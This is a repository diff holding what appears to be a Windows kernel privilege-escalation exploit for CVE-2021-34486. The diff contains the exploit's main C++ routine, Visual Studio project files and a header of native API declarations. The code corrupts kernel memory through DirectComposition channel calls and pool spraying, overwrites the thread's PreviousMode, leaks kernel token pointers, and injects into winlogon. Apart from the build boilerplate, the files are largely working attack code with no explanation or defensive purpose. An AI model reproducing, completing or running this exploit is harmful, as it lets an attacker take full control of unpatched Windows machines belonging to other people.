DWORD64 dwCGenericTableAddr = ReadPointer((void *)PsGetCurrentCProcessData());
WritePointer((void*)dwCGenericTableAddr, 0);
WritePointer((void*)( dwCGenericTableAddr + 8 ), 0);
WritePointer((void*)(dwCGenericTableAddr + 16), 0);
byte value = 1;
WriteMemory((void*)(g_pExploitCtx->dwKernelEthreadAddr + g_pExploitCtx->previous_mode_offset), &value, sizeof(byte));
}
int main(int argc, TCHAR* argv[])
{
HANDLE hChannel;
NTSTATUS ntStatus;
SIZE_T SectionSize = 0x500000;
PVOID pMappedAddress = NULL;
DWORD dwArg1, dwArg2;
if (!InitEnvironment()) {
printf("[-] Inappropriate Operating System\n");
return 0;
}
LoadLibrary(TEXT("user32"));
LPVOID pV = VirtualAlloc((LPVOID)0xffffffff, 0x100000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if (!pV)
{
printf("[-] Failed to allocate memory at address 0xffffffff, please try again!\n");
return 0;
}
DWORD64* Ptr = (DWORD64*)0xffffffff;
DWORD64 GadgetAddr = GetGadgetAddr("SeSetAccessStateGenericMapping");
//printf("[+] found SeSetAccessStateGenericMapping addr at: %p\n", (DWORD64)GadgetAddr);
memset(Ptr, 0xff, 0x1000);
*(DWORD64*)((DWORD64)Ptr + g_pExploitCtx->GadgetAddrOffset ) = GadgetAddr;
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!proc)
{
printf("[-] OpenProcess failed\n");
return 0;
}
HANDLE token = 0;
if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
{
printf("[-] OpenProcessToken failed\n");
return 0;
}
DWORD64 ktoken = GetKernelPointer(token, 0x5);
where = ktoken + TOKEN_OFFSET;
_NtDCompositionCreateChannel NtDCompositionCreateChannel;
NtDCompositionCreateChannel = (_NtDCompositionCreateChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCreateChannel");
_NtDCompositionDestroyChannel NtDCompositionDestroyChannel;
NtDCompositionDestroyChannel = (_NtDCompositionDestroyChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionDestroyChannel");
_NtDCompositionProcessChannelBatchBuffer NtDCompositionProcessChannelBatchBuffer;
NtDCompositionProcessChannelBatchBuffer = (_NtDCompositionProcessChannelBatchBuffer)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionProcessChannelBatchBuffer");
_NtDCompositionCommitChannel NtDCompositionCommitChannel;
NtDCompositionCommitChannel = (_NtDCompositionCommitChannel)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCommitChannel");
_NtDCompositionCreateSynchronizationObject NtDCompositionCreateSynchronizationObject;
NtDCompositionCreateSynchronizationObject = (_NtDCompositionCreateSynchronizationObject)GetProcAddress(LoadLibrary(L"win32u.dll"), "NtDCompositionCreateSynchronizationObject");
void* p = 0;
ntStatus = NtDCompositionCreateSynchronizationObject(&p);
// create a new channel
ntStatus = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress);
if (!NT_SUCCESS(ntStatus)) {
printf("Create channel error!\n");
return -1;
}
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)1;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x59; //DirectComposition::CInteractionTrackerBindingManagerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)2;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)3;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)4;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)0x58; //DirectComposition::CInteractionTrackerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
//
// set argument of NtDCompositionProcessChannelBatchBuffer
//
DWORD* szBuff = (DWORD*)malloc(4 * 3);
szBuff[0] = 0x02;
szBuff[1] = 0x03;
szBuff[2] = 0xffff;
*(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1); // CInteractionTrackerBindingManagerMarshaler
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0;
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2);
if (ntStatus != 0)
{
printf("error!\n");
return 0;
}
szBuff[0] = 0x02;
szBuff[1] = 0x03;
szBuff[2] = 0x0;
*(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1);
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0;
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2);
*(DWORD*)pMappedAddress = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)2;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 8;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (ntStatus != 0)
{
printf("error!\n");
return 0;
}
for (size_t i = 0; i < 0x5000; i++)
{
createPaletteofSize1(g_pExploitCtx->ObjectSize);
}
*(DWORD*)pMappedAddress = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)3;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 8;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (ntStatus != 0)
{
printf("error!\n");
return 0;
}
for (size_t i = 0; i < 0x5000; i++)
{
createPaletteofSize2(g_pExploitCtx->ObjectSize);
}
szBuff[0] = 0x04;
szBuff[1] = 0x04;
szBuff[2] = 0xffff;
*(DWORD*)pMappedAddress = nCmdSetResourceBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)(1);
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0;
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = 12;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, 12);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + 12, &dwArg1, &dwArg2);
if (ntStatus != 0)
{
printf("error!\n");
return 0;
}
NtDCompositionCommitChannel(hChannel, &dwArg1, &dwArg2, 0, p);
//getc(stdin);
InjectToWinlogon();
RestoreStatus();
*(DWORD*)pMappedAddress = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)1;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 8;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
*(DWORD*)pMappedAddress = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)4;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 8;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
return 0;
}

View File

@ -0,0 +1,170 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{EE84E564-89F1-4CC1-8A93-2D0D4BB529AB}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>exp</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<SpectreMitigation>false</SpectreMitigation>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="exp.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="ntos.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,27 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="exp.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="ntos.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32002.261
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2021-34486", "CVE-2021-34486\CVE-2021-34486.vcxproj", "{93026D75-A5DB-4EED-9E28-46512569D052}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{93026D75-A5DB-4EED-9E28-46512569D052}.Debug|x64.ActiveCfg = Debug|x64
{93026D75-A5DB-4EED-9E28-46512569D052}.Debug|x64.Build.0 = Debug|x64
{93026D75-A5DB-4EED-9E28-46512569D052}.Debug|x86.ActiveCfg = Debug|Win32
{93026D75-A5DB-4EED-9E28-46512569D052}.Debug|x86.Build.0 = Debug|Win32
{93026D75-A5DB-4EED-9E28-46512569D052}.Release|x64.ActiveCfg = Release|x64
{93026D75-A5DB-4EED-9E28-46512569D052}.Release|x64.Build.0 = Release|x64
{93026D75-A5DB-4EED-9E28-46512569D052}.Release|x86.ActiveCfg = Release|Win32
{93026D75-A5DB-4EED-9E28-46512569D052}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {ACD55B58-1D28-4FCF-9F93-04B481902108}
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,928 @@
#pragma once
#include <Windows.h>
#include <guiddef.h>
#include <evntprov.h>
#include <initguid.h>
#include <conio.h>
#include <stdio.h>
#include <winternl.h>
#include <evntprov.h>
#include <evntrace.h>
#include <strsafe.h>
#include <psapi.h>
#include <tlhelp32.h>
//#include <ntstatus.h>
#include <processthreadsapi.h>
#pragma comment(lib, "ntdll.lib")
//#include <ntstatus.h>
typedef struct _ETWP_NOTIFICATION_HEADER
{
/* 0x0000 */ enum _ETW_NOTIFICATION_TYPE NotificationType;
/* 0x0004 */ unsigned long NotificationSize;
/* 0x0008 */ long RefCount;
/* 0x000c */ unsigned char ReplyRequested;
union
{
/* 0x0010 */ unsigned long ReplyIndex;
/* 0x0010 */ unsigned long Timeout;
}; /* size: 0x0004 */
union
{
/* 0x0014 */ unsigned long ReplyCount;
/* 0x0014 */ unsigned long NotifyeeCount;
}; /* size: 0x0004 */
union
{
/* 0x0018 */ unsigned __int64 ReplyHandle;
/* 0x0018 */ void* ReplyObject;
/* 0x0018 */ unsigned long RegIndex;
}; /* size: 0x0008 */
/* 0x0020 */ unsigned long TargetPID;
/* 0x0024 */ unsigned long SourcePID;
/* 0x0028 */ struct _GUID DestinationGuid;
/* 0x0038 */ struct _GUID SourceGuid;
} ETWP_NOTIFICATION_HEADER, * PETWP_NOTIFICATION_HEADER; /* size: 0x0048 */
typedef enum _ETW_FUNCTION_CODE
{
EtwFunctionStartTrace = 1,
EtwFunctionStopTrace = 2,
EtwFunctionQueryTrace = 3,
EtwFunctionUpdateTrace = 4,
EtwFunctionFlushTrace = 5,
EtwFunctionIncrementTraceFile = 6,
EtwFunctionRealtimeConnect = 11,
EtwFunctionWdiDispatchControl = 13,
EtwFunctionRealtimeDisconnectConsumerByHandle = 14,
EtwFunctionReceiveNotification = 16,
EtwFunctionTraceEnableGuid = 17, // EtwTraceNotifyGuid
EtwFunctionSendReplyDataBlock = 18,
EtwFunctionReceiveReplyDataBlock = 19,
EtwFunctionWdiUpdateSem = 20,
EtwFunctionGetTraceGuidList = 21,
EtwFunctionGetTraceGuidInfo = 22,
EtwFunctionEnumerateTraceGuids = 23,
// EtwFunction??? = 24,
EtwFunctionQueryReferenceTime = 25,
EtwFunctionTrackProviderBinary = 26,
EtwFunctionAddNotificationEvent = 27,
EtwFunctionUpdateDisallowList = 28,
EtwFunctionUseDescriptorTypeUm = 31,
EtwFunctionGetTraceGroupList = 32,
EtwFunctionGetTraceGroupInfo = 33,
EtwFunctionGetDisallowList = 34,
EtwFunctionSetCompressionSettings = 35,
EtwFunctionGetCompressionSettings = 36,
EtwFunctionUpdatePeriodicCaptureState = 37,
EtwFunctionGetPrivateSessionTraceHandle = 38,
EtwFunctionRegisterPrivateSession = 39,
EtwFunctionQuerySessionDemuxObject = 40,
EtwFunctionSetProviderBinaryTracking = 41,
} ETW_FUNCTION_CODE;
#define SystemBigPoolInformation 0x42
#define ThreadNameInformation 0x26
#define DATA_TO_COPY "AAAAAAAAAAAAABBBBBBBBBBBBBBBCCCCCCCCCCCCCCCDDDDDDDDDDDDDDD"
typedef struct _ETW_UPDATE_PERIODIC_CAPTURE_STATE
{
UINT32 LoggerId;
UINT32 DueTime; //system time units (100-nanosecond intervals)
UINT32 NumOfGuids;
GUID Guids[ANYSIZE_ARRAY];
} ETW_UPDATE_PERIODIC_CAPTURE_STATE, * PETW_UPDATE_PERIODIC_CAPTURE_STATE;
typedef struct _TRACE_ENABLE_CONTEXT
{
USHORT LoggerId;
UCHAR Level;
UCHAR InternalFlag;
ULONG EnableFlags;
} TRACE_ENABLE_CONTEXT, * PTRACE_ENABLE_CONTEXT;
typedef enum _ETW_NOTIFICATION_TYPE
{
EtwNotificationTypeNoReply = 1,
EtwNotificationTypeLegacyEnable = 2,
EtwNotificationTypeEnable = 3,
EtwNotificationTypePrivateLogger = 4,
EtwNotificationTypePerflib = 5,
EtwNotificationTypeAudio = 6,
EtwNotificationTypeSession = 7,
EtwNotificationTypeReserved = 8,
EtwNotificationTypeCredentialUI = 9,
EtwNotificationTypeInProcSession = 10,
EtwNotificationTypeMax = 11,
} ETW_NOTIFICATION_TYPE;
typedef struct _ETW_ENABLE_NOTIFICATION_PACKET
{
ETWP_NOTIFICATION_HEADER DataBlockHeader;
TRACE_ENABLE_INFO EnableInfo;
TRACE_ENABLE_CONTEXT LegacyEnableContext;
ULONG LegacyProviderEnabled;
ULONG FilterCount;
} ETW_ENABLE_NOTIFICATION_PACKET, * PETW_ENABLE_NOTIFICATION_PACKET;
EXTERN_C
NTSTATUS
WINAPI
NtTraceControl(
DWORD Operation,
LPVOID InputBuffer,
DWORD InputSize,
LPVOID OutputBuffer,
DWORD OutputSize,
LPDWORD BytesReturned
);
EXTERN_C
ULONG
EtwNotificationRegister(
LPCGUID Guid,
ULONG Type,
PVOID Callback,
PVOID Context,
REGHANDLE* RegHandle
);
#define MAXIMUM_FILENAME_LENGTH 255
#define SystemModuleInformation 0xb
#define SystemHandleInformation 0x10
#define LOGFILE_PATH L"C:\\Users\\Public\\test.etl"
#define LOGSESSION_NAME L"My Event Trace Session"
typedef NTSTATUS(WINAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
typedef NTSTATUS(NTAPI* _NtWriteVirtualMemory)(
HANDLE ProcessHandle,
void* BaseAddress,
const void* SourceBuffer,
size_t Length,
size_t* BytesWritten);
//_NtQuerySystemInformation fnNtQuerySystemInformation;
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
DWORD64 GetKernelPointer(HANDLE handle, DWORD type)
{
PSYSTEM_HANDLE_INFORMATION buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(0x20);
DWORD outBuffer = 0;
NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, 0x20, &outBuffer);
if (status == (NTSTATUS)0xC0000004L)
{
free(buffer);
buffer = (PSYSTEM_HANDLE_INFORMATION)malloc(outBuffer);
status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, buffer, outBuffer, &outBuffer);
}
if (!buffer)
{
printf("[-] NtQuerySystemInformation error \n");
return 0;
}
for (size_t i = 0; i < buffer->NumberOfHandles; i++)
{
DWORD objTypeNumber = buffer->Handles[i].ObjectTypeIndex;
if (buffer->Handles[i].UniqueProcessId == GetCurrentProcessId() && buffer->Handles[i].ObjectTypeIndex == type)
{
if (handle == (HANDLE)buffer->Handles[i].HandleValue)
{
DWORD64 object = (DWORD64)buffer->Handles[i].Object;
free(buffer);
return object;
}
}
}
printf("[-] handle not found\n");
free(buffer);
return 0;
}
#define ThreadNameInformation 0x26
// mimic nt!UNICODE_STRING
// sizeof(UNICODE_STRING) must be 0x10 for the syscall to succeed.
typedef NTSTATUS(*fnNtSetInformationThreadPtr)(HANDLE threadHandle, THREADINFOCLASS threadInformationClass, PVOID threadInformation, ULONG threadInformationLength);
//typedef NTSTATUS(*fnNtSetInformationFile)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation,ULONG Length,int FileInformationClass);
//
//
//typedef NTSTATUS(*fnNtQueryInformationFile)(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, int FileInformationClass);
#define FileBasicInformation 4
#define FileStandardInformation 5
#define FilePositionInformation 14
#define FileEndOfFileInformation 20
typedef NTSTATUS(WINAPI* pNtQueryInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, int);
typedef NTSTATUS(WINAPI* pNtSetInformationFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, int);
typedef NTSTATUS(WINAPI* pNtSetEaFile)(HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG);
fnNtSetInformationThreadPtr NtSetInformationThread = nullptr;
pNtSetInformationFile NtSetInformationFile = nullptr;
pNtQueryInformationFile NtQueryInformationFile = nullptr;
pNtSetEaFile NtSetEaFile = nullptr;
#define ThreadNameInformation 0x26
int fnExploit(int lpParameter)
{
do
{
Sleep(0x500000);
} while (true);
}
typedef struct
{
DWORD64 Address;
DWORD64 PoolSize;
char PoolTag[4];
char Padding[4];
} BIG_POOL_INFO, * PBIG_POOL_INFO;
typedef struct _FILE_BASIC_INFORMATION {
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
ULONG FileAttributes;
} FILE_BASIC_INFORMATION, * PFILE_BASIC_INFORMATION;
typedef struct _FILE_FULL_EA_INFORMATION {
ULONG NextEntryOffset;
UCHAR Flags;
UCHAR EaNameLength;
USHORT EaValueLength;
CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;
LPVOID ntoskrnlBase = nullptr;
DWORD64 LeakEporcessKtoken()
{
LPVOID drivers[1024] = {};
DWORD cbNeeded = NULL;
ntoskrnlBase = nullptr;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers))
{
if (drivers[0])
{
ntoskrnlBase = drivers[0];
printf("[-] ntoskrnlBase=%p\n", ntoskrnlBase);
}
}
else
{
printf("[-] EnumDeviceDrivers failed; array size needed is %d\n", cbNeeded / sizeof(LPVOID));
}
HANDLE proc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
if (!proc)
{
printf("[-] OpenProcess failed\n");
return 0;
}
HANDLE token = 0;
if (!OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token))
{
printf("[-] OpenProcessToken failed\n");
return 0;
}
DWORD64 ktoken = 0;
for (int i = 0; i < 0x100; i++)
{
ktoken = GetKernelPointer(token, 0x5);
if (ktoken != NULL)
{
break;
}
}
return ktoken;
}
